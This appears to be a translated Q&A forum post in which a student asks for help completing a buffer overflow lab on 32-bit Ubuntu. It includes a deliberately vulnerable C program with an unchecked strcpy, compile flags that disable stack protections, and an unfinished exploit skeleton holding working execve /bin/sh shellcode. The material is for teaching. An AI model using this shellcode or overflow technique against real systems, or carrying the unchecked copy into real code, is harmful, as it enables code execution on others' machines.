【发布时间】:2019-08-15 05:34:35
【问题描述】:
在这个实验室中,我有exploit.c、stack.c 和call_shellcode.c。 Stack.c 已被修改,因此它打印出缓冲区地址和 ebp 地址。我在虚拟机上运行它,ubuntu 12.04 32 位。
我必须使用易受攻击的程序 stack.c 并将代码放入exploit.c 以便在运行我的堆栈可执行文件时创建一个shell。任何帮助表示赞赏。
Stack.c 在下面 抱歉缩进不好,实际代码有正确的缩进。
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
unsigned long int sp;
int cp(char *str)
{
// unsigned long int sp;
char buffer[12];
asm("movl %%ebp, %0" : "=r" (sp));
printf("$ebp is 0X%lx\n",sp);
strcpy(buffer, str);
printf("Buffer is at address %p\n",(void*)(&buffer));
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
cp(str);
printf("Returned Properly\n");
return 1;
}
exploit.c 在下面。
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdq */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
我在我的堆栈可执行文件上运行了 gdb,使用 gcc -o stack -z execstack -fno-stack-protector stack.c 编译,发现缓冲区位于地址 0xbffff134 和 ebp 位于 0xbffff148。我知道我必须以某种方式找到我的返回地址并使我的有效负载位于该地址?需要有关此分配的缓冲区溢出的一些帮助。
【问题讨论】:
-
由于
line 12和Stack.c中的invalid operand type不能在clang 上编译(目前我手边没有gcc)。sp应该是32 bit类型。也应该是int main。 -
@ToxiCore 你确定你编译的是 32 位吗?看起来你的目标是 x86-64
-
@ToxiCofe 我相信在不编译 32 位时这是一个错误,但是这是在 ubuntu 12.04 32 位的 VM 中完成的,所以我没有错误
-
是的,我忽略了这一点,在 32 位平台上应该不会出现问题
-
@ToxiCore 对我的问题有什么帮助吗?
标签: c buffer-overflow